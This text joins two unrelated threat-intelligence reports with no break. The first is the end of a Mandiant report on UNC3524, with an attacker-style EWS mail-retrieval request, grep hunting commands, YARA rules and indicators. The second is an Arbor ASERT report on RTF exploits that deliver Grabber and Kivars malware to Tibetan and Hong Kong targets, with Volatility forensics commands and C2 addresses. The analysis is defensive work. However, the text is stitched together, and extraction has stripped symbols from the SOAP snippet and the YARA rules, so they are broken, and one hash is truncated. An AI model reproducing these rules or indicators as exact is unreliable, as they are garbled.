soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ xmlns:thttps://schemas.microsoft.com/exchange/services/2006/types soap:Body GetItem xmlnshttps://schemas.microsoft.com/exchange/services/2006/messages xmlns:thttps://schemas.microsoft.com/exchange/services/2006/types ItemShape t:BaseShapeDefault/t:BaseShape t:IncludeMimeContenttrue/t:IncludeMimeContent /ItemShape ItemIds t:ItemId IdID OF MESSAGE ChangeKeyCQAAAB / /ItemIds /GetItem /soap:Body /soap:Envelope Operational Security and Infrastructure Throughout their operations, the threat actor demonstrated sophisticated operational security that we see only a small number of threat actors demonstrate.
The threat actor evaded detection by operating from devices in the victim environments blind spots, including servers running uncommon versions of Linux and network appliances running opaque OSes.
These devices and appliances were running versions of operating systems that were unsupported by agent-based security tools, and often had an expected level of network traffic that allowed the attackers to blend in.
The threat actors use of the QUIETEXIT tunneler allowed them to largely live off the land, without the need to bring in additional tools, further reducing the opportunity for detection.
This allowed UNC3524 to remain undetected in victim environments for, in some cases, upwards of 18 months.
The C2 systems that Mandiant identified were primarily legacy conference room camera systems sold by LifeSize, Inc. and in one instance, a D- Link IP camera.
These camera systems appeared to be infected, likely with the server component of QUIETEXIT.
These cameras were directly Internet exposed, possibly through an improper UPnP configuration, and may have been running older firmware.
Mandiant suspects that default credentials, rather than an exploit, were the likely mechanism used to compromise these devices and form the IoT botnet used by UNC3524.
Similar to the use of embedded network devices, UNC3524 can avoid detection by operating from compromised infrastructure connected directly to the public Internet such as IP cameras where typical antivirus and security monitoring may be absent.
Detection UNC3524s use of compromised appliances makes host-based hunting and detection extremely difficult.
The best opportunity for detection remains in network-based logging, specifically monitoring traffic at the layer 7 level.
Mandiant recommends hunting for traffic tagged as the SSH application egressing environments over ports other than 22.
This traffic should be relatively small, and any findings should be investigated.
Organizations can also look for outbound SSH traffic originating from IP addresses that are unknown or not in asset management 6/9 systems.
These source systems are more likely to be appliances that arent centrally managed.
Finally, large volumes of network traffic originating from the management interfaces of appliances such as NAS arrays and load balancers should be investigated as suspicious as well.
UNC3524 targets opaque network appliances because they are often the most unsecure and unmonitored systems in a victim environment.
Organizations should take steps to inventory their devices that are on the network and do not support monitoring tools.
Each device likely has vendor-specific hardening actions to take to ensure that the proper logging is enabled, and logs are forwarded to a central repository.
Organizations can also take steps to use network access controls to limit or completely restrict egress traffic from these devices.
For host-based hunting, Mandiant recommends hunting for QUIETEXIT on devices using the provided grep commands.
Most appliances that provide shell access should have the grep binary available.
Find QUIETEXIT hard-coded byte string using grep: grep \x48\x8b\x3c\xd3\x4c\x89\xe1\xf2\xae -rs / Find QUIETEXIT by looking for the hard-coded password value: grep \xDD\xE5\xD5\x97\x20\x53\x27\xBF\xF0\xA2\xBA\xCD\x96\x35\x9A\xAD\x1C\x75\xEB\x47 -rs / Find QUIETEXIT persistence mechanisms in the appliances rc.local directory by looking for the command line arguments: grep -e  -[Xx] -p [[:digit:]2,6] -rs /etc Remediation and Hardening Mandiant has published remediation and hardening strategies for Microsoft 365.
Attribution The methodologies Mandiant observed during UNC3524 intrusions overlapped with techniques used by multiple Russia-based espionage threat actors including both EWS impersonation and SPN credential addition.
Mandiant has only observed APT29 performing SPN credential addition however, this technique has been reported on publicly since early 2019.
The NSA has previously reported automated password spraying using Kubernetes, Exchange Exploitation, and REGEORG as associated with APT28.
While the activity reported by the NSA used TOR and commercial VPNs, UNC3524 primarily used compromised internet facing devices.
One interesting aspect of UNC3524s use of REGEORG was that it matched identically with the version publicly reported by the NSA as used by APT28.
At the time of writing, Mandiant cannot conclusively link UNC3524 to an existing group currently tracked by Mandiant.
Acknowledgements We would like to thank our incident response consultants, Managed Defense responders, and FLARE reverse engineers who enabled this research.
Thanks to Kirstie Failey, Jake Nicastro, John Wolfram, Sarah Hawley and Nick Richard for technical review, and Ryan Hall and Alyssa Rahman for research contributions.
MITRE ATTCK Mandiant has observed UNC3524 use the following techniques.
ATTCK Tactic Category Techniques Defense Evasion    T1027: Obfuscated Files or Information Discovery    T1012: Query Registry T1016: System Network Configuration Discovery T1049: System Network Connections Discovery T1057: Process Discovery T1518: Software Discovery https://www.mandiant.com/resources/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452 https://www.mandiant.com/resources/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF 7/9 Credential Access    T1003.004: LSA Secrets T1003.006: DCSync T1111: Two-Factor Authentication Interception Collection    T1114: Email Collection T1114.002: Remote Email Collection Lateral Movement    T1021.004: SSH Persistence    T1037.004: RC Scripts T1098.001: Additional Cloud Credentials T1505.003: Web Shell Command and Control    T1071: Application Layer Protocol T1090.003: Multi-hop Proxy T1095: Non-Application Layer Protocol T1572: Protocol Tunneling T1573.002: Asymmetric Cryptography Resource Development    T1583.003: Virtual Private Server T1584: Compromise Infrastructure T1608.003: Install Digital Certificate Execution    T1059.001: PowerShell T1059.003: Windows Command Shell YARA Signatures Note: These rules are designed to broadly capture suspicious files and are not designed to detect a particular malware or threat.
8/9 rule QUIETEXIT_strings  meta: author  Mandiant date_created  2022-01-13 date_modified  2022-01-13 rev  1 strings: s1  auth-agentopenssh.com s2  auth-.8x-d s3  Child connection from s:s s4  Compiled without normal mode, cant run without -i s5  cancel-tcpip-forward s6  dropbear_prng s7  cron condition: uint32be(0)  0x7F454C46 and filesize  2MB and all of them  rule REGEORG_Tuneller_generic  meta: author  Mandiant date_created  2021-12-20 date_modified  2021-12-20 md5  ba22992ce835dadcd06bff4ab7b162f9 strings: s1  System.
Net.
IPEndPoint s2  Response.
AddHeader s3  Request.
InputStream.
Read s4  Request.
Headers.
Get s5  Response.
Write s6  System.
Buffer.
BlockCopy s7  Response.
BinaryWrite s8  SocketException soex condition: filesize  1MB and 7 of them  9/9 rule UNC3524_sha1  meta: author  Mandiant date_created  2022-01-19 date_modified  2022-01-19 strings: h1   DD E5 D5 97 20 53 27 BF F0 A2 BA CD 96 35 9A AD 1C 75 EB 47 condition: uint32be(0)  0x7F454C46 and filesize  10MB and all of them  Indicators MALWARE FAMILY Indicator QUIETEXIT Dynamic DNS cloudns.asia dynu.net mywire.org webredirect.org MALWARE FAMILY MD5 SHA1 SHA256 REGEORG GitHub version ba22992ce835dadcd06bff4ab7b162f9 3d4dcc859c6ca7e5b36483ad84c9ceef34973f9a 7b5e3c1c06d82b3e7309C258dfbd4bfcd
ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
ASERT Threat Intelligence Report 2016-03 The Four-Element Sword Engagement Ongoing APT Targeting of Tibetan, Hong Kong, and Taiwanese Interests Executive Summary In this paper, we reveal recent ongoing APT activity likely associated with long-running threat campaigns and the presumed existence of associated malcode, dubbed the Four Element Sword Builder, used to weaponize RTF documents for use in these campaigns.
A sample of twelve different targeted exploitation incidents (taken from a larger set of activity) are described along any discovered connections to previously documented threat campaigns.
Four vulnerabilities - CVE-2012-0158, CVE-2012-1856, CVE-2015-1641, and CVE-2015-1770  related to the parsing of Microsoft Rich Text File (RTF) documents are being leveraged by advanced threat actors to launch exploitation campaigns against members of the Tibetan community, along with journalists and human rights workers in Hong Kong and Taiwan.
One of these vulnerabilities  CVE-2015-1641 - has been typically used in cybercrime operations starting in 2015 and has not been widely observed in use by Advanced Persistent Threat (APT) actors until now.
The vulnerabilities are being used to deliver Chinese-oriented malware payloads such as Grabber, T9000, Kivars, PlugX, Gh0StRAT and Agent.
XST.
Analysis of malware payloads, malware metadata and actor group Tactics, Techniques and Procedures (TTPs) provides useful insight into the malware, targeting, and links to past threat actor infrastructure.
Indicator overlap reveals a connection to prior exploitation campaigns against the World Uyghur Congress (WUC) from 2009-2014 as presented in 2014 at the Usenix security conference [1].
Additional indicators suggest an overlap with the actors behind Operation Shrouded Crossbow.
This recent activity matches pre-existing targeting patterns towards the Five Poisons [2] - organizations and individuals associated with perceived threats to Chinese government rule: Uyghurs, Tibetans, Falun Gong, members of the democracy movement and advocates for an independent Taiwan.
This targeting scheme, along with various malware artifacts and associated metadata, suggest that the threat actors herein have a Chinese nexus.
Additional malware following the same type of patterns described has been discovered since this report was written, and suggests that these generalized threat campaigns using weaponized RTF documents are ongoing.
ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 2 Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
3 Vulnerabilities: CVE-2012-0158, CVE-2012-1856, CVE-2015-1641, CVE-2015-1770 The Four Element Sword builder has been observed to utilize exploit code against four distinct vulnerabilities.
Each malicious document created by the builder appears to leverage three or four of these vulnerabilities in the same RTF document, given a .DOC extension.
Some targets may warrant the use of newer exploit code, while others running on dated equipment and operating systems may still fall victim to the older exploits.
Actors will typically only use the amount of force necessary to accomplish their actions on objectives and will not typically burn 0day exploit code or the most advanced techniques against targets that do not require them.
1.
CVE-2012-0158: This is a vulnerability affecting the ListView, ListView2, TreeView, and TreeView2 ActiveX controls in MSCOMCTL.OCX in the Common Controls of various versions of Office and other software.
CVE-2012-0158 continues to be an extremely popular vulnerability, used by various threat actors for years.
A review of Virus Total reveals activity as early as November of 2010, with over 1000 distinct file submissions.
The fact that this exploit continues to be bundled into contemporary campaigns is a testament to its longevity, although actors have incorporated more recent CVEs into their toolkits since targets are likely patching older vulnerabilities either by system replacement or through ongoing maintenance.
The first public mention of this CVE being used in targeted exploitation campaigns was on April 16, 2012 [3] with additional research published on April 19, 2012 [4].
Both of those campaigns demonstrate targeting of the Tibetan community and also reveal an interest in the South China Sea.
While early actors apparently developed their own exploit code, publicly available exploit code for this has been present in the Metasploit Framework since April 23, 2012, allowing any actor since then easy access to leverage this vulnerability for their own purposes.
2.
CVE-2012-1856: This is vulnerability in the TabStrip ActiveX control in the Common Controls of MSCOMCTL.OCX and affects various versions of Office and other software.
This vulnerability has also been used in various targeted threat campaigns, although it is detected less often than CVE-2012-0158.
Virus Total reveals 85 instances of this exploit code in February of 2016, with the first submission in September of 2013, one submission a year later in September 2014, and then a substantial increase in activity starting in April of 2015.
As of March 30, 2016, Virus Total reveals 353 instances of exploit code for CVE-2012-1856, indicating a substantial increase in activity and/or detection.
Malicious documents containing a combination of exploit code for CVE-2012-0158 and CVE-2012-1856 were observed as early as October of 2012, however customers of VUPEN, an offensive security company, were aware of this vulnerability since September of 2010 [5], although public disclosure was not made until August of 2012  nearly two years later when Microsoft patched the bug with MS12-060.
3.
CVE-2015-1641: The vulnerability involves the parsing of crafted RTF documents affecting a variety of versions of Office.
Virus Total contains 130 instances of exploit code for this vulnerability, with the first submission from August of 2015.
Seven instances of this vulnerability appear in specific e-mail files beginning in at least November of 2015.
Several of these e-mail messages appear to be generated by actors interested in commercial and financial system compromise.
An exploit for this vulnerability was being sold in the wild for 2000 in Mid-July of 2015 [6] and was posted to YouTube on July 22, 2015 [7].
ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 4 Proprietary and Confidential Information of Arbor Networks, Inc.
The individuals selling the exploit code at the time appear to be associated with cybercrime operations rather than APT nation-state targeted threats.
Shortly thereafter, Sophos wrote about malicious documents appearing in the wild [8] and most of the examples they discuss appear to be related to financial threat campaigns, such as a possible exploitation campaign dealing with Point of Sale systems.
Later, in December of 2015, the Microsoft Word Intruder (MWI) crimeware kit incorporated CVE-2015- 1641 into its arsenal of exploit code [9].
In any event, easy access to exploit code in the underground allows targeted threat actors the means to easily and inexpensively obtain the code for their own use.
In some cases in the past, dynamics of the exploit food chain has meant that exploits have migrated from advanced threat actors to cybercriminals, however they can also migrate the other direction depending upon the situation at hand.
This exploit has gotten more popular and/or detected more frequently since this research was initiated started.
As of March 30, 2016, 453 instances of the exploit code were detected by Virus Total.
4.
CVE-2015-1770: Microsoft Office 2013 SP1 and 2013 RT SP1 allows remote attackers to execute arbitrary code via a crafted Office document, aka Microsoft Office Uninitialized Memory Use Vulnerability [10].
The vulnerability appears to be in an ActiveX control, according to Microsofts MS15-059 bulletin [11].
Some likely Italian-based exploitation activity involving the uWarrior Remote Access Trojan was observed in August of 2015 [12] using CVE-2015-1770 and other older exploit code.
Other instances of exploit code have been observed, and the volume is increasing.
On Feb 2, 2016 there were only 42 recognized samples of this exploit code found in Virus Total.
As of March 30, the number has tripled to 128.
Of the observed samples, the first submission was from August 4, 2015 and the most recent is from March 22, 2016.
An exploit apparently for CVE-2015-1770 (plus CVE-2015- 1650) was being sold starting in Mid September 2015 by a group calling themselves DaVinci Coders that allows the threat actor to embed a binary of their choice inside the Office document that will then be executed when the Office document is opened on an unpatched system.
Numerous crafted RTF documents containing author metadata Confidential Surfer were discovered in September of 2015, and may be connected to this release.
While many instances of exploit code hitting CVE-2015-1170 were discovered, underground forum chatter suggests that exploit quality may not always be top- notch.
The quality or efficacy of these particular cybercrime-oriented exploits appears to vary, based on the number of times exploitation appeared to fail during analysis.
ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
5 Targeted Exploitation 1:  Human Rights Lawyers  Tibetan Activist, Grabber Malware On December 31, 2015, a malicious RTF file (with a .DOC extension) using filename US Congress sanctions 6 million fund for Tibetans in Nepal and India.doc was mailed to two targets via spear-phishing tactics.
The RTF file hashes are included in the IOC section.
Exploit code targeting four distinct CVEs was detected in this and other attachments to spearphish messages and includes all four vulnerable elements: CVE-2012-0158, CVE-2012-1856, CVE-2015-1641, and CVE-2015- 1770.
Targeting for sample 1: Hong-Kong Based Legal aid Group and Tibetan Activist The email was sent to a human rights associated group in Hong Kong and a BCC sent to an exiled Tibetan activist.
ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 6 Proprietary and Confidential Information of Arbor Networks, Inc.
The body of the document is about aid for the Tibetan community.
A portion is reproduced here: Document metadata indicates that someone using the name bull was the last person to modify and save the document.
The last modification date was December 31, 2015  the same day the mail was sent to targets.
Rendering the Tibetan themed RTF document with a vulnerable instance of Office results in the injection of the Grabber (aka EvilGrab) malware into the ctfmon.exe process.
Grabber provides all of the usual Remote Access Trojan (RAT) capabilities that any actor would want, such as the capability to remotely control the target system, list files, download and execute, spy on the user, download other code and execute commands to perform lateral movement, exfiltrate data, etc.
For those seeking more background, a helpful document to understand the full capabilities of Grabber was written by Unit 42 in 2015 [13].
Inside the compromised machine, the Process Hacker tool allows us to easily observe the injected process ctfmon.exe initiating an outbound connection to the C2 180.169.28[.
]58 on TCP/8080.
We can observe the User-Agent value hardcoded inside the Grabber binary (as discussed in the Uncovering the Seven Pointed Dagger document from Arbor ASERT (http://www.arbornetworks.com/blog/asert/wp- ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
7 content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf).
The following segment of memory reveals User-Agent activity in the screenshot below.
Past analysis suggests that Grabber exfiltrates data from the client in an encrypted fashion.
This may not always be the case however, as tests revealed an interesting occurence when the system was exploited a second time.
System activity that occurred during the initial compromise was subsequently exfiltrated to the C2 in plaintext after the second comprise.
This plaintext may allow additional, unexpected visibility for network security apparatus in the right circumstances.
Below we see the tell-tale User-Agent value including the unusual series of bytes prior to the GET request followed by exfiltration of system-identifying information.
ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 8 Proprietary and Confidential Information of Arbor Networks, Inc.
Using Memory Forensics to Obtain a Higher Fidelity Malware Sample The original sample is obfuscated in such a manner that it is less useful for generating analytical insight, especially insight generated from static analysis.
In order to obtain a cleaner sample we will need to extract it from the process that it was injected into.
The Volatility memory forensics platform can help with this.
First, the DumpIt tool provided in the Moonsols software package was used to generate a memory dump of the compromised system.
The memory dump was taken just after successful exploitation, as indicated by the observation of traffic to the C2.
We then determine the PID of the compromised process (ctfmon.exe) by using the Volatility plugin pslist.
In this example, our memory dump is contained in the file EvilGrab2.raw: python vol.py -f c:\stuff\EvilGrab2.raw pslist --profileWin7SP1x86  pslist_take2.txt The malfind plugin can help us discover memory regions where code injection has occurred.
Running malfind with python vol.py -f c:\stuff\EvilGrab2.raw malfind --profileWin7SP1x86  malfind_run2.txt provides us a short list of memory regions worthy of further analysis.
In particular, malfind provides us with indicators of code injection at memory address 0x150000 inside ctfmon.exe, where we observe the presence of an MZ header.
Other MZ headers can be found in the memory space of ctfmon.exe at addresses 0x100000, 0x7ff80000 and 0x7ffa0000.
We can extract the injected code with the dlldump plugin and save those files for easier analysis.
In this case, the memory address 0x150000 was the most useful location for extraction.
We extract the injected DLL from the base address 0x150000 and save it to disk with the following command: python vol.py -f c:\stuff\EvilGrab2.raw dlldump --pid 3596 --memory --base0x150000 --profileWin7SP1x86 -- dump-dirctfmon_dlldump_directory ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
9 Analysis of the extracted file results in a much cleaner (but not perfect) instance of Grabber that allows the analyst or incident responder to gain greater insight into specific threat activity.
For example, by using IDA Pro for static analysis on the freshly extracted file, we observe the naming scheme inside the code where threat actors have named the malware Grabber.
Additionally, we can also observe the C2 (180.169.28[.
]58) and a mutex string (v2014-v05) inside the .data section of the binary.
An additional method to obtain deeper insight is to use Process Hacker 2, find the RWX memory sections within the ctfmon.exe process and visually analyze for malware artifacts (as seen below).
An analyst could also save the memory to a binary file to be opened and analyzed in IDA.
By default the import table will not exist but some insight can be obtained.
ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 10 Proprietary and Confidential Information of Arbor Networks, Inc. An example of the insight obtained via examining strings in the .data section with IDA Pro reveals some of the text strings used to represent the use of keys that do not correspond to a simple letter or number (such as SHIFT UP) that may be used when keylogging functionality is activated.
IOCs C2: 180.169.28.58:8080 MD5 (spearphish): 7d4f8341b58602a17184bc5c07311e8b MD5 (RTF): c674ae90f686d831cffc223a55782a93 MD5 (IEChecker.exe): 46c7d064a34c4e02bb2df56e0f8470c0 SHA-256: (Spearphish): bacc4edb5e775d2c957022ad8360946c19f9f75ef2709c1db2d6708d53ec2cd1 SHA-256 (RTF): af2cc5bb8d97bf019280c80e2891103a8a1d5e5f8c6305b6f6c4dd83ec245a7d SHA-256 (IEChecker.exe): 7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6 Connections to Historical and Ongoing Threat Campaign Activity: Uyghur NGO, Tibetans The C2 is 180.169.28[.
]58 TCP/8080 and is located in Shanghai, China.
This IP address has been associated with a dynamic DNS provider, and has resolved as goodnewspaper.f3322[.
]org and xinxin20080628.3322[.
]org in the past.
ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
11 Goodnewspaper[.
]f3322.org as well as potentially related domains goodnewspaper.3322[.
]org and goodnewspaper.gicp[.
]net were listed as C2 for threat activity in a paper presented at the Usenix conference in 2014 entitled A Look at Targeted Attacks Through the Lense of an NGO [14] that analyzes targeted exploitation campaigns from 2009 and 2013 directed particularly at the World Uyghur Congress (WUC) NGO.
As a result of this infrastructure overlap, we see a connection to prior activity and a larger historical sense of targeting against Uyghur interests.
In addition to the goodnewspaper sites, we also see numerous other Uyghur themed sites associated to the IP address: ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 12 Proprietary and Confidential Information of Arbor Networks, Inc.
The xinxin20080628 hostname portion of one of the domain names is also interesting, as it was mentioned in a 2009 report by F-secure [15] as associated with a different dynamic DNS provider, gicp.net.
The domain in that case was xinxin20080628.gicp[.
]net instead of xinxin20080628.3322[.
]org as observed here.
The xinxin20080628.3322[.
]org domain only resolved for a very short period of approximately four hours on April 23, 2014.
While it is of course possible that the use of this domain is a misdirection designed to point analysts in the wrong direction, it is also possible that the actor using the dynamic DNS client/script made a mistake and temporarly resolved the domain, or had need to do so on a short-term basis (to test C2 perhaps).
As this is an older artifact, there could be other explanations however it is a clue worth noting that may tie modern activity to previously documented campaigns and their TTPs and threat actors.
A master list of IOCs provided by Citizen Lab (released in conjunction with their reporting on various advanced threat activity) lists the domain xinxin20080628[.
]gicp.net in November 2010 [16] and the IP address being used at that time: 2010-11-19 xinxin20080628.gicp[.
]net 114.60.106[.
]156 This domain is also included in the aforementioned USENIX paper.
Other campaign activities involving the xinxin20080628.gicp[.
]net domain were profiled by Communities  Risk [17] and reveals activity in 2010 involving two executables delivered to a target.
The payload in that case was the IEXPL0RE RAT, also known as C0d0s0.
The IEXPL0RE campain discussed therein involved targeting of Tibetan and Chinese communities.
The ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
13 connection to prior threat campaigns suggests that campaign activity continues and continues to evolve as new exploit code becomes available.
A substantial amount of activity surrounds the domain xinxin20080628.gicp[.
]net that may be of interest in expanding potentially related context.
Those interested in further explorations of threat indicators from past activity may benefit from examining malware such as the malicious RTF targeting CVE-2010-3333 (SHA-256: 14fcfccb0ae8988f95924256a38477fcc5c2c213d8a55e5a83c8c1bb67a4b6d4).
This malicious RTF generates network traffic to xinxin20080628.gicp[.
]net and humanbeing2009.gicp[.
]net.
Targeting of Tibetan groups with malicious RTF files and exploitation of CVE-2010-3333 is also mentioned in the aforementioned Communities  Risk document.
Another interesting domain overlap concerns malware observed in 2013 dubbed BLame, also known as Mgbot or Mgmbot and discussed on page 18 of the presentation given at Virus Bulletin 2013 [18].
These slides describe the use of the goodnewspaper.gicp[.
]net and goodnewspaper.3322[.
]org domains in version 2.3 of the malware payload, first observed in July of 2012.
This incident is interesting because the malcode is hidden in such a manner as to appear to be an MP3 encoding library [19].
Targeted Exploitation 2: Attempted Human Rights Target, Grabber Malware While there are other instances of exploitation taking place via crafted documents using the same four CVEs, only one has a matching SSDEEP hash (6144:NwOD0nTHfnxBl7p01yDn8FJD1O6JN0MrvVburdr3QM5o1Zx0a4VgLjv9uMyb3Hx:ZbqQM5oBfv9uMt5y Gg BT5yL) as the prior sample discussed in Targeted Exploitation 1.
The spear phishing e-mail in this second case appears to have been sent to the wrong target, as an apparent error in the targets email address is observed  the e-mail address was entered using the number 1 instead of an l character.
The message follows: ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 14 Proprietary and Confidential Information of Arbor Networks, Inc.
The e-mail was sent on Thursday Dec 31, 2015 at 19:08:25 0800 (HKT) and was submitted to Virus Total from Taiwan.
The Chinese language text in the mail message, when translated to English, mentions a meteor shower and the Hong Kong Space Museum.
This is a different approach than threat actors providing the usual geopolitical content, but perhaps the intent was to provide some item that may be considered personally interesting to the target.
The attachment filename 12 2016  mm.doc roughly translates from Chinese as About the sky  12 2016 astronomical phenomenon not to be missed.
The Word document metadata, to the left, shows our now-familiar timeframe of December 31, 2015 and a name of webAdmin as the document author and modifier.
Depending upon the generation scenario at play, such document metadata may or may not be useful, but is being included inside this report to provide potential indicators that may help track down other APT activity.
ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
15 The original text of the document and a rough English translation is as follows: The final payload in this document exploit is also Grabber  the same sample used in Targeted Exploitation 1.
Therefore, this sample uses the same C2 as Targeted Exploitation 1 and other samples profiled in this set.
IOCs C2: 180.169.28.58:8080 Filename: 12 2016 mm.doc MD5 (spearphish): b6e22968461bfb2934c556fc44d0baf0 MD5 (RTF): 74a4fe17dc7101dbb2bb8f0c41069057 MD5 (tmp.doc): fcfe3867e4fa17d52c51235cf68a86c2 ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 16 Proprietary and Confidential Information of Arbor Networks, Inc. MD5 (IEChecker.exe): 46c7d064a34c4e02bb2df56e0f8470c0 SHA-256 (spearphish): 4f52292a2136eb7f9538230ae54a323c518fa44cf6de5d10ca7a04ecb6a77872 SHA-256 (RTF): 0683fac0b564fe5d2096e207b374a238a811e67b87856fc19bdf8eb3d6f76b49 SHA-256 (tmp.doc): 60ef10cce9974cdc8a453d8fdd8ddf0cad49c6f07d2c4d095ff483998685b421 SHA-256 (IEChecker.exe): 7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6 Connections to Historical and Ongoing Threat Campaign Activity The analysis service cryptam.com contains this particular malware sample [20] and is using YARA to classify the sample using a tag of apt_north_beaver_wmonder_vidgrab.
The name north beaver doesnt appear to be related to a publicly known APT campaign.
Vidgrab is however another name for the Grabber/Evilgrab malware.
The presence of wmonder in the YARA rule is most likely due to the use of the older Grabber C2 domain webmonder.gicp[.
]net, mentioned by Trend Micro in their 2013 2Q Report on Targeted Attack Campaigns [21].
Documents associated with the classifier apt_north_beaver_wmonder_vidgrab have been present since at least 2013.
It is possible that there is a relationship between these earlier malicious documents and recently observed activity, or that the recent documents are simply a reflection of the continuation of prior campaign activity.
Targeted Exploitation 3: Asian Press, Kivars Keylogger Payload On Jan 2, 2016 a spearphish mail was sent to the target.
The subject for this message is [BULK] TIBET, OUR BELOVED NATION AND WILL NEVER FORGET IT.
In this case, the actors have embedded the malware inside a RAR file and have positioned the RAR file as needing translation.
It is not known how common it may be for authors to use the RAR format in such a case, however it does appear to be suspicious.
ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
17 The specific target in this case appears to be an individual working with a media and publications press in Hong Kong.
The company associated with this individual has been reported to be heavily influenced by the Chinese Government.
The RAR archive contains a file named brochure.
doc (note the space) which is actually an RTF.
Opening brochure .doc in a vulnerable environment (Windows 7, Office 2013, unpatched) results in the display of a file that appears to be corrupted and/or composed of garbage characters, as observed on the left.
Triggering of the final payload results in a TCP connection to 103.240.203[.
]232:8080.
This IP address is located in Hong Kong (in-country to the target).
When the malware initiates an outbound connection to the server, the server responds with the following data: This information may be useful for network-based detection.
During analysis, several files were created during the exploitation, including tnyjs.dll, uhfx.dat, uhfx.dll, and yxsrhsxhxdbldkc.dat.
These were created in the Windows/System32 folder.
Attempting to open one of the DLLs in IDA Pro resulted in a helpful pop-up message that reveals a PDB string that correlates this sample with instances of the Kivars keylogger [22].
The PDB string is Q:\Projects\Br2012\Release\svc.pdb.
Analysis of this DLL sample reveals that it is designed to run as a service, which matches the design of Kivars.
ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 18 Proprietary and Confidential Information of Arbor Networks, Inc.
Connections to Historical and Ongoing Threat Campaign Activity: Shrouded Crossbow Several additional samples of the Kivars malware were discovered that might have an overlap with this particular campaign.
The overlap is circumstantial, since the only common elements we have are the use of Kivars itself, and C2 infrastructure also being geolocated in Hong Kong.
Kivars appears to be somewhat rare, with only a limited amount of samples appearing in the ASERT malware analysis repository.
It is currently unknown if the malware family is closely held, or shared among numerous actor groups.
Pivoting on the import hash value of the malware payload reveals a potentially related sample, an unnamed keylogger malware analyzed by ASERT on 1-20-2016 with an MD5 of a0dc5723d3e20e93b48a960b31c984c0 and a SHA-256 hash of 185fc01ec8adbaa94da741c4c1cf1b83185ae63899f14ce9949553c5dac3ecf6.
This sample connected to the same C2 - akm.epac[.
]to on TCP/8088, resolving at analysis time as 103.240.203[.
]232, an IP address in Hong Kong.
The domain akm.epac[.
]to began resolving to this IP address on January 2, 2016 and the domain gugehotel[.
]cn began resolving to this IP address on February 23, 2016 and continues to resolve as of this writing on March 16, 2016.
The gugehotel domain also shows resolution activity between 11-7-2014 and 6-9-2015 to the IP address 107.183.86[.]
that reveal a large number of passive DNS resolutions (570), which likely disqualifies the IP address for follow-up research.
It is potentially interesting to note however that many of the passive DNS resolutions for this domain have the suffix domain cos-china.com.
This may be related to the China Operating System (COS) which is a Chinese-based operating system designed to compete with iOS and Android [23].
Pivoting on aspects of this sample returns other potentially interesting samples: MD5 937c13f5915a103aec8d28bdec7cc769 uses a C2 of 203.160.247[.
]21:443 o ASN 10126  203.160.247.21  TW  CHTI-IP-AP Taiwan Internet Gateway,TW o This C2 IP address is also found in a Kivars service binary (MD5: 19b2ed8ab09a43151c9951ff0432a861, SHA-256: 9d69221584a5c6f8147479282eae3017c2884ae5138d3b910c36a2a38039c776) MD5: b2ae8c02163dcee142afe71188914321  uses wins.microsoftmse[.
]com for C2.
o This sample was submitted to Virus Total in October of 2014 from Taiwan.
Samples discovered so far are triggering an AV detection of Kivars, which has been written about by Trend in 2014 [24].
One particular sample first submitted to Virus Total in 2013 and discovered via a Yara retrohunt, has the following properties: ASERT Threat Intelligence Report  2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved.
19 MD5: 0566703ccda6c60816ef1d8d917aa7b0 SHA-256: 766e0c75bb13986f6a18f9f6af422dbda8c6717becc9b02cc4046943a960d21f This sample once connected to adc.microsoftmse[.
]com (122.10.9[.
]121), resolving to an IP address in Hong Kong.
This resolution only appears to have taken place on 7-6-2013 and was associated with the bifrose Trojan and also correlates with Shrouded Crossbow activity.
Numerous other domains resolving to this IP were also observed to be part of Shrouded Crossbow infrastructure.
The domain microsoftmse[.
]com currently points to Microsoft address space, but was used by threat actors in the past.
Further details on Operation Shrouded Crossbow were published by Trend Micro in December of 2015 [22] and reveals the use of the Bifrose and Kivars Trojans and the relationship between the two  Kivars appears to have re-used at least some parts of the Bifrose code.
[
25] Submitting one of the DLLs to Virus Total results in predictable scan results, and pivoting on the import hash results in the discovery of several more samples of the Kivars service.
Scanning Virus Total indicates numerous recent detections of Kivars.
Many of the discovered Kivars service files have been submitted in January and February of 2016, indicating a new wave of activity and/or detection.
